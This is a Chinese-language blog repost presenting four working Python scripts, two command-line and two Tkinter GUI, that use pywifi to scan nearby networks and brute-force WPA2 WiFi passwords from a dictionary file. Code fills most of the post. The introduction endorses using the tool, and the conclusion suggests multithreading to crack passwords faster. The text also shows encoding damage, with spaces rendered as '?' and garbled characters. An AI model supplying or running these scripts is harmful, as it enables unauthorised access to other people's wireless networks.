玩了一把破解 WiFi 密碼的腳本,太刺激了...
原文:blog.csdn.net/weixin_39190897/article/details/11977847
大家好,我是鳥哥。一個(gè)半路出家的程序員。
昨天服務(wù)器群的一個(gè)好友分享的一篇文章,關(guān)于破解WiFi密碼的腳本。據(jù)他說已經(jīng)掛了一年的時(shí)間了,用的非常爽。今天順便分享給大家,我自己還沒有來的及試,感興趣的可以玩玩,順便留言區(qū)交流一下心得。
無圖形界面
先來看看沒有圖形界面版的爆破腳本。
WIFI爆破
import?pywifi
from?pywifi?import?const
import?time
import?datetime
#?測試連接,返回鏈接結(jié)果
def?wifiConnect(pwd):
????#?抓取網(wǎng)卡接口
????wifi?=?pywifi.PyWiFi()
????#?獲取第一個(gè)無線網(wǎng)卡
????ifaces?=?wifi.interfaces()[0]
????#?斷開所有連接
????ifaces.disconnect()
????time.sleep(1)
????wifistatus?=?ifaces.status()
????if?wifistatus?==?const.IFACE_DISCONNECTED:
????????#?創(chuàng)建WiFi連接文件
????????profile?=?pywifi.Profile()
????????#?要連接WiFi的名稱
????????profile.ssid?=?"Tr0e"
????????#?網(wǎng)卡的開放狀態(tài)
????????profile.auth?=?const.AUTH_ALG_OPEN
????????#?wifi加密算法,一般wifi加密算法為wps
????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
????????#?加密單元
????????profile.cipher?=?const.CIPHER_TYPE_CCMP
????????#?調(diào)用密碼
????????profile.key?=?pwd
????????#?刪除所有連接過的wifi文件
????????ifaces.remove_all_network_profiles()
????????#?設(shè)定新的連接文件
????????tep_profile?=?ifaces.add_network_profile(profile)
????????ifaces.connect(tep_profile)
????????#?wifi連接時(shí)間
????????time.sleep(2)
????????if?ifaces.status()?==?const.IFACE_CONNECTED:
????????????return?True
????????else:
????????????return?False
????else:
????????print("已有wifi連接")
#?讀取密碼本
def?readPassword():
????success?=?False
????print("******************?WIFI破解?******************")
????#?密碼本路徑
????path?=?"pwd.txt"
????#?打開文件
????file?=?open(path,?"r")
????start?=?datetime.datetime.now()
????while?True:
????????try:
????????????pwd?=?file.readline()
????????????#?去除密碼的末尾換行符
????????????pwd?=?pwd.strip('\n')
????????????bool?=?wifiConnect(pwd)
????????????if?bool:
????????????????print("[*]?密碼已破解:",?pwd)
????????????????print("[*] WiFi已自動(dòng)連接!??!")
????????????????success?=?True
????????????????break
????????????else:
????????????????#?跳出當(dāng)前循環(huán),進(jìn)行下一次循環(huán)
????????????????print("正在破解 SSID 為?%s 的 WIFI密碼,當(dāng)前校驗(yàn)的密碼為:%s"%("Tr0e",pwd))
????????except:
????????????continue
????end?=?datetime.datetime.now()
????if(success):
????????print("[*]?本次破解WIFI密碼一共用了多長時(shí)間:{}".format(end?-?start))
????else:
????????print("[*]?很遺憾未能幫你破解出當(dāng)前指定WIFI的密碼,請更換密碼字典后重新嘗試!")
????exit(0)
if?__name__=="__main__":
????readPassword()
代碼運(yùn)行效果:

腳本優(yōu)化
以上腳本需內(nèi)嵌 WIFI 名、爆破字典路徑,缺少靈活性。下面進(jìn)行改造優(yōu)化:
import?pywifi
import?time
from?pywifi?import?const
#?WiFi掃描模塊
def?wifi_scan():
????#?初始化wifi
????wifi?=?pywifi.PyWiFi()
????#?使用第一個(gè)無線網(wǎng)卡
????interface?=?wifi.interfaces()[0]
????#?開始掃描
????interface.scan()
????for?i?in?range(4):
????????time.sleep(1)
????????print('\r掃描可用 WiFi 中,請稍后。。。('?+?str(3?-?i),?end=')')
????print('\r掃描完成!\n'?+?'-'?*?38)
????print('\r{:4}{:6}{}'.format('編號(hào)',?'信號(hào)強(qiáng)度',?'wifi名'))
????#?掃描結(jié)果,scan_results()返回一個(gè)集,存放的是每個(gè)wifi對(duì)象
????bss?=?interface.scan_results()
????#?存放wifi名的集合
????wifi_name_set?=?set()
????for?w?in?bss:
????????#?解決亂碼問題
????????wifi_name_and_signal?=?(100?+?w.signal,?w.ssid.encode('raw_unicode_escape').decode('utf-8'))
????????wifi_name_set.add(wifi_name_and_signal)
????#?存入列表并按信號(hào)排序
????wifi_name_list?=?list(wifi_name_set)
????wifi_name_list?=?sorted(wifi_name_list,?key=lambda?a:?a[0],?reverse=True)
????num?=?0
????#?格式化輸出
????while?num?<?len(wifi_name_list):
????????print('\r{:<6d}{:<8d}{}'.format(num,?wifi_name_list[num][0],?wifi_name_list[num][1]))
????????num?+=?1
????print('-'?*?38)
????#?返回wifi列表
????return?wifi_name_list
#?WIFI破解模塊
def?wifi_password_crack(wifi_name):
????#?字典路徑
????wifi_dic_path?=?input("請輸入本地用于WIFI暴力破解的密碼字典(txt格式,每個(gè)密碼占據(jù)1行)的路徑:")
????with?open(wifi_dic_path,?'r')?as?f:
????????#?遍歷密碼
????????for?pwd?in?f:
????????????#?去除密碼的末尾換行符
????????????pwd?=?pwd.strip('\n')
????????????#?創(chuàng)建wifi對(duì)象
????????????wifi?=?pywifi.PyWiFi()
????????????#?創(chuàng)建網(wǎng)卡對(duì)象,為第一個(gè)wifi網(wǎng)卡
????????????interface?=?wifi.interfaces()[0]
????????????#?斷開所有wifi連接
????????????interface.disconnect()
????????????#?等待其斷開
????????????while?interface.status()?==?4:
????????????????#?當(dāng)其處于連接狀態(tài)時(shí),利用循環(huán)等待其斷開
????????????????pass
????????????#?創(chuàng)建連接文件(對(duì)象)
????????????profile?=?pywifi.Profile()
????????????#?wifi名稱
????????????profile.ssid?=?wifi_name
????????????#?需要認(rèn)證
????????????profile.auth?=?const.AUTH_ALG_OPEN
????????????#?wifi默認(rèn)加密算法
????????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
????????????profile.cipher?=?const.CIPHER_TYPE_CCMP
????????????#?wifi密碼
????????????profile.key?=?pwd
????????????#?刪除所有wifi連接文件
????????????interface.remove_all_network_profiles()
????????????#?設(shè)置新的wifi連接文件
????????????tmp_profile?=?interface.add_network_profile(profile)
????????????#?開始嘗試連接
????????????interface.connect(tmp_profile)
????????????start_time?=?time.time()
????????????while?time.time()?-?start_time?<?1.5:
????????????????#?接口狀態(tài)為4代表連接成功(當(dāng)嘗試時(shí)間大于1.5秒之后則為錯(cuò)誤密碼,經(jīng)測試測正確密碼一般都在1.5秒內(nèi)連接,若要提高準(zhǔn)確性可以設(shè)置為2s或以上,相應(yīng)暴力破解速度就會(huì)變慢)
????????????????if?interface.status()?==?4:
????????????????????print(f'\r連接成功!密碼為:{pwd}')
????????????????????exit(0)
????????????????else:
????????????????????print(f'\r正在利用密碼?{pwd}?嘗試破解。',?end='')
#?主函數(shù)
def?main():
????#?退出標(biāo)致
????exit_flag?=?0
????#?目標(biāo)編號(hào)
????target_num?=?-1
????while?not?exit_flag:
????????try:
????????????print('WiFi萬能鑰匙'.center(35,?'-'))
????????????#?調(diào)用掃描模塊,返回一個(gè)排序后的wifi列表
????????????wifi_list?=?wifi_scan()
????????????#?讓用戶選擇要破解的wifi編號(hào),并對(duì)用戶輸入的編號(hào)進(jìn)行判斷和異常處理
????????????choose_exit_flag?=?0
????????????while?not?choose_exit_flag:
????????????????try:
????????????????????target_num?=?int(input('請選擇你要嘗試破解的wifi:'))
????????????????????#?如果要選擇的wifi編號(hào)在列表內(nèi),繼續(xù)二次判斷,否則重新輸入
????????????????????if?target_num?in?range(len(wifi_list)):
????????????????????????#?二次確認(rèn)
????????????????????????while?not?choose_exit_flag:
????????????????????????????try:
????????????????????????????????choose?=?str(input(f'你選擇要破解的WiFi名稱是:{wifi_list[target_num][1]},確定嗎?(Y/N)'))
????????????????????????????????#?對(duì)用戶輸入進(jìn)行小寫處理,并判斷
????????????????????????????????if?choose.lower()?==?'y':
????????????????????????????????????choose_exit_flag?=?1
????????????????????????????????elif?choose.lower()?==?'n':
????????????????????????????????????break
????????????????????????????????#?處理用戶其它字母輸入
????????????????????????????????else:
????????????????????????????????????print('只能輸入?Y/N?哦o(* ̄︶ ̄*)o')
????????????????????????????#?處理用戶非字母輸入
????????????????????????????except?ValueError:
????????????????????????????????print('只能輸入?Y/N?哦o(* ̄︶ ̄*)o')
????????????????????????#?退出破解
????????????????????????if?choose_exit_flag?==?1:
????????????????????????????break
????????????????????????else:
????????????????????????????print('請重新輸入哦(*^▽^*)')
????????????????except?ValueError:
????????????????????print('只能輸入數(shù)字哦o(* ̄︶ ̄*)o')
????????????#?密碼破解,傳入用戶選擇的wifi名稱
????????????wifi_password_crack(wifi_list[target_num][1])
????????????print('-'?*?38)
????????????exit_flag?=?1
????????except?Exception?as?e:
????????????print(e)
????????????raise?e
if?__name__?==?'__main__':
????main()
腳本運(yùn)行效果如下:

上述代碼實(shí)現(xiàn)了依據(jù)信號(hào)強(qiáng)度枚舉當(dāng)前附近的所有 WIFI 名稱,并且可供用戶自主選擇需要暴力破解的 WIFI,同時(shí)還可靈活指定暴力破解的字典,相對(duì)而言體驗(yàn)感提升了不少。進(jìn)一步也可以將上述腳本打包生成 exe 文件,雙擊運(yùn)行效果如下:

圖形化界面
下面基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter 優(yōu)化上述腳本,實(shí)現(xiàn)友好的可視化 WIFI 暴力破解界面工具。關(guān)于 Tkinter 庫的語法可參見:Python GUI編程(Tkinter)。
簡單版UI
from?tkinter?import?*
from?pywifi?import?const
import?pywifi
import?time
#?主要步驟:
#?1、獲取第一個(gè)無線網(wǎng)卡
#?2、斷開所有的wifi
#?3、讀取密碼本
#?4、設(shè)置睡眠時(shí)間
def?wificonnect(str,?wifiname):
????#?窗口無線對(duì)象
????wifi?=?pywifi.PyWiFi()
????#?抓取第一個(gè)無線網(wǎng)卡
????ifaces?=?wifi.interfaces()[0]
????#?斷開所有的wifi
????ifaces.disconnect()
????time.sleep(1)
????if?ifaces.status()?==?const.IFACE_DISCONNECTED:
????????#?創(chuàng)建wifi連接文件
????????profile?=?pywifi.Profile()
????????profile.ssid?=?wifiname
????????#?wifi的加密算法
????????profile.akm.append(const.AKM_TYPE_WPA2PSK)
????????#?wifi的密碼
????????profile.key?=?str
????????#?網(wǎng)卡的開發(fā)
????????profile.auth?=?const.AUTH_ALG_OPEN
????????#?加密單元,這里需要寫點(diǎn)加密單元否則無法連接
????????profile.cipher?=?const.CIPHER_TYPE_CCMP
????????#?刪除所有的wifi文件
????????ifaces.remove_all_network_profiles()
????????#?設(shè)置新的連接文件
????????tep_profile?=?ifaces.add_network_profile(profile)
????????#?連接
????????ifaces.connect(tep_profile)
????????time.sleep(3)
????????if?ifaces.status()?==?const.IFACE_CONNECTED:
????????????return?True
????????else:
????????????return?False
def?readPwd():
????#?獲取wiif名稱
????wifiname?=?entry.get().strip()
????path?=?r'./pwd.txt'
????file?=?open(path,?'r')
????while?True:
????????try:
????????????#?讀取
????????????mystr?=?file.readline().strip()
????????????#?測試連接
????????????bool?=?wificonnect(mystr,?wifiname)
????????????if?bool:
????????????????text.insert(END,?'密碼正確'?+?mystr)
????????????????text.see(END)
????????????????text.update()
????????????????file.close()
????????????????break
????????????else:
????????????????text.insert(END,?'密碼錯(cuò)誤'?+?mystr)
????????????????text.see(END)
????????????????text.update()
????????except:
????????????continue
#?創(chuàng)建窗口
root?=?Tk()
root.title('wifi破解')
root.geometry('500x400')
#?標(biāo)簽
label?=?Label(root,?text='輸入要破解的WIFI名稱:')
#?定位
label.grid()
#?輸入控件
entry?=?Entry(root,?font=('微軟雅黑',?14))
entry.grid(row=0,?column=1)
#?列表控件
text?=?Listbox(root,?font=('微軟雅黑',?14),?width=40,?height=10)
text.grid(row=1,?columnspan=2)
#?按鈕
button?=?Button(root,?text='開始破解',?width=20,?height=2,?command=readPwd)
button.grid(row=2,?columnspan=2)
#?顯示窗口
root.mainloop()
腳本運(yùn)行效果:

UI升級(jí)版
以上圖形界面未允許選擇密碼字典,下面進(jìn)行優(yōu)化升級(jí):
from?tkinter?import?*
from?tkinter?import?ttk
import?pywifi
from?pywifi?import?const
import?time
import?tkinter.filedialog??#?在Gui中打開文件瀏覽
import?tkinter.messagebox??#?打開tkiner的消息提醒框
class?MY_GUI():
????def?__init__(self,?init_window_name):
????????self.init_window_name?=?init_window_name
????????#?密碼文件路徑
????????self.get_value?=?StringVar()??#?設(shè)置可變內(nèi)容
????????#?獲取破解wifi賬號(hào)
????????self.get_wifi_value?=?StringVar()
????????#?獲取wifi密碼
????????self.get_wifimm_value?=?StringVar()
????????#?抓取網(wǎng)卡接口
????????self.wifi?=?pywifi.PyWiFi()
????????#?抓取第一個(gè)無線網(wǎng)卡
????????self.iface?=?self.wifi.interfaces()[0]
????????#?測試鏈接斷開所有鏈接
????????self.iface.disconnect()
????????time.sleep(1)??#?休眠1秒
????????#?測試網(wǎng)卡是否屬于斷開狀態(tài)
????????assert?self.iface.status()?in?\
???????????????[const.IFACE_DISCONNECTED,?const.IFACE_INACTIVE]
????def?__str__(self):
????????#?自動(dòng)會(huì)調(diào)用的函數(shù),返回自身的網(wǎng)卡
????????return?'(WIFI:%s,%s)'?%?(self.wifi,?self.iface.name())
????#?設(shè)置窗口
????def?set_init_window(self):
????????self.init_window_name.title("WIFI破解工具")
????????self.init_window_name.geometry('+500+200')
????????labelframe?=?LabelFrame(width=400,?height=200,?text="配置")??#?框架,以下對(duì)象都是對(duì)于labelframe中添加的
????????labelframe.grid(column=0,?row=0,?padx=10,?pady=10)
????????self.search?=?Button(labelframe,?text="搜索附近WiFi",?command=self.scans_wifi_list).grid(column=0,?row=0)
????????self.pojie?=?Button(labelframe,?text="開始破解",?command=self.readPassWord).grid(column=1,?row=0)
????????self.label?=?Label(labelframe,?text="目錄路徑:").grid(column=0,?row=1)
????????self.path?=?Entry(labelframe,?width=12,?textvariable=self.get_value).grid(column=1,?row=1)
????????self.file?=?Button(labelframe,?text="添加密碼文件目錄",?command=self.add_mm_file).grid(column=2,?row=1)
????????self.wifi_text?=?Label(labelframe,?text="WiFi賬號(hào):").grid(column=0,?row=2)
????????self.wifi_input?=?Entry(labelframe,?width=12,?textvariable=self.get_wifi_value).grid(column=1,?row=2)
????????self.wifi_mm_text?=?Label(labelframe,?text="WiFi密碼:").grid(column=2,?row=2)
????????self.wifi_mm_input?=?Entry(labelframe,?width=10,?textvariable=self.get_wifimm_value).grid(column=3,?row=2,sticky=W)
????????self.wifi_labelframe?=?LabelFrame(text="wifi列表")
????????self.wifi_labelframe.grid(column=0,?row=3,?columnspan=4,?sticky=NSEW)
????????#?定義樹形結(jié)構(gòu)與滾動(dòng)條
????????self.wifi_tree?=?ttk.Treeview(self.wifi_labelframe,?show="headings",?columns=("a",?"b",?"c",?"d"))
????????self.vbar?=?ttk.Scrollbar(self.wifi_labelframe,?orient=VERTICAL,?command=self.wifi_tree.yview)
????????self.wifi_tree.configure(yscrollcommand=self.vbar.set)
????????#?表格的標(biāo)題
????????self.wifi_tree.column("a",?width=50,?anchor="center")
????????self.wifi_tree.column("b",?width=100,?anchor="center")
????????self.wifi_tree.column("c",?width=100,?anchor="center")
????????self.wifi_tree.column("d",?width=100,?anchor="center")
????????self.wifi_tree.heading("a",?text="WiFiID")
????????self.wifi_tree.heading("b",?text="SSID")
????????self.wifi_tree.heading("c",?text="BSSID")
????????self.wifi_tree.heading("d",?text="signal")
????????self.wifi_tree.grid(row=4,?column=0,?sticky=NSEW)
????????self.wifi_tree.bind("<Double-1>",?self.onDBClick)
????????self.vbar.grid(row=4,?column=1,?sticky=NS)
????#?搜索wifi
????def?scans_wifi_list(self):??#?掃描周圍wifi列表
????????#?開始掃描
????????print("^_^?開始掃描附近wifi...")
????????self.iface.scan()
????????time.sleep(15)
????????#?在若干秒后獲取掃描結(jié)果
????????scanres?=?self.iface.scan_results()
????????#?統(tǒng)計(jì)附近被發(fā)現(xiàn)的熱點(diǎn)數(shù)量
????????nums?=?len(scanres)
????????print("數(shù)量:?%s"?%?(nums))
????????#?實(shí)際數(shù)據(jù)
????????self.show_scans_wifi_list(scanres)
????????return?scanres
????#?顯示wifi列表
????def?show_scans_wifi_list(self,?scans_res):
????????for?index,?wifi_info?in?enumerate(scans_res):
????????????self.wifi_tree.insert("",?'end',?values=(index?+?1,?wifi_info.ssid,?wifi_info.bssid,?wifi_info.signal))
????#?添加密碼文件目錄
????def?add_mm_file(self):
????????self.filename?=?tkinter.filedialog.askopenfilename()
????????self.get_value.set(self.filename)
????#?Treeview綁定事件
????def?onDBClick(self,?event):
????????self.sels?=?event.widget.selection()
????????self.get_wifi_value.set(self.wifi_tree.item(self.sels,?"values")[1])
????#?讀取密碼字典,進(jìn)行匹配
????def?readPassWord(self):
????????self.getFilePath?=?self.get_value.get()
????????self.get_wifissid?=?self.get_wifi_value.get()
????????pwdfilehander?=?open(self.getFilePath,?"r",?errors="ignore")
????????while?True:
????????????try:
????????????????self.pwdStr?=?pwdfilehander.readline()
????????????????if?not?self.pwdStr:
????????????????????break
????????????????self.bool1?=?self.connect(self.pwdStr,?self.get_wifissid)
????????????????if?self.bool1:
????????????????????self.res?=?"[*]?密碼正確!wifi名:%s,匹配密碼:%s "?%?(self.get_wifissid,?self.pwdStr)
????????????????????self.get_wifimm_value.set(self.pwdStr)
????????????????????tkinter.messagebox.showinfo('提示',?'破解成功?。?!')
????????????????????print(self.res)
????????????????????break
????????????????else:
????????????????????self.res?=?"[*]?密碼錯(cuò)誤!wifi名:%s,匹配密碼:%s"?%?(self.get_wifissid,?self.pwdStr)
????????????????????print(self.res)
????????????????time.sleep(3)
????????????except:
????????????????continue
????#?對(duì)wifi和密碼進(jìn)行匹配
????def?connect(self,?pwd_Str,?wifi_ssid):
????????#?創(chuàng)建wifi鏈接文件
????????self.profile?=?pywifi.Profile()
????????self.profile.ssid?=?wifi_ssid??#?wifi名稱
????????self.profile.auth?=?const.AUTH_ALG_OPEN??#?網(wǎng)卡的開放
????????self.profile.akm.append(const.AKM_TYPE_WPA2PSK)??#?wifi加密算法
????????self.profile.cipher?=?const.CIPHER_TYPE_CCMP??#?加密單元
????????self.profile.key?=?pwd_Str??#?密碼
????????self.iface.remove_all_network_profiles()??#?刪除所有的wifi文件
????????self.tmp_profile?=?self.iface.add_network_profile(self.profile)??#?設(shè)定新的鏈接文件
????????self.iface.connect(self.tmp_profile)??#?鏈接
????????time.sleep(5)
????????if?self.iface.status()?==?const.IFACE_CONNECTED:??#?判斷是否連接上
????????????isOK?=?True
????????else:
????????????isOK?=?False
????????self.iface.disconnect()??#?斷開
????????time.sleep(1)
????????#?檢查斷開狀態(tài)
????????assert?self.iface.status()?in?\
???????????????[const.IFACE_DISCONNECTED,?const.IFACE_INACTIVE]
????????return?isOK
def?gui_start():
????init_window?=?Tk()
????ui?=?MY_GUI(init_window)
????print(ui)
????ui.set_init_window()
????init_window.mainloop()
if?__name__?==?"__main__":
????gui_start()
腳本運(yùn)行效果如下:

以上基于 Python 的 GUI 圖形界面開發(fā)庫 Tkinter,實(shí)際上 Python 的 GUI 編程可以借助 PyQt5 來自動(dòng)生成 UI 代碼。
總結(jié)
本文學(xué)習(xí)了 Python 暴力破解 WIFI 密碼的方法、以及 Python GUI 圖形化編程的基礎(chǔ)使用。
所演示的代碼的不足在于均沒有使用多線程進(jìn)行 WIFI 連接測試,實(shí)際上因?yàn)?WIFI 連接測試需要一定的耗時(shí)(3-5秒),故使用多線程將能減少暴力破解過程的等待時(shí)間。
-End-
最近有一些小伙伴,讓我?guī)兔φ乙恍?面試題?資料,于是我翻遍了收藏的 5T 資料后,匯總整理出來,可以說是程序員面試必備!所有資料都整理到網(wǎng)盤了,歡迎下載!
面試題】即可獲取
在看點(diǎn)這里
好文分享給更多人↓↓
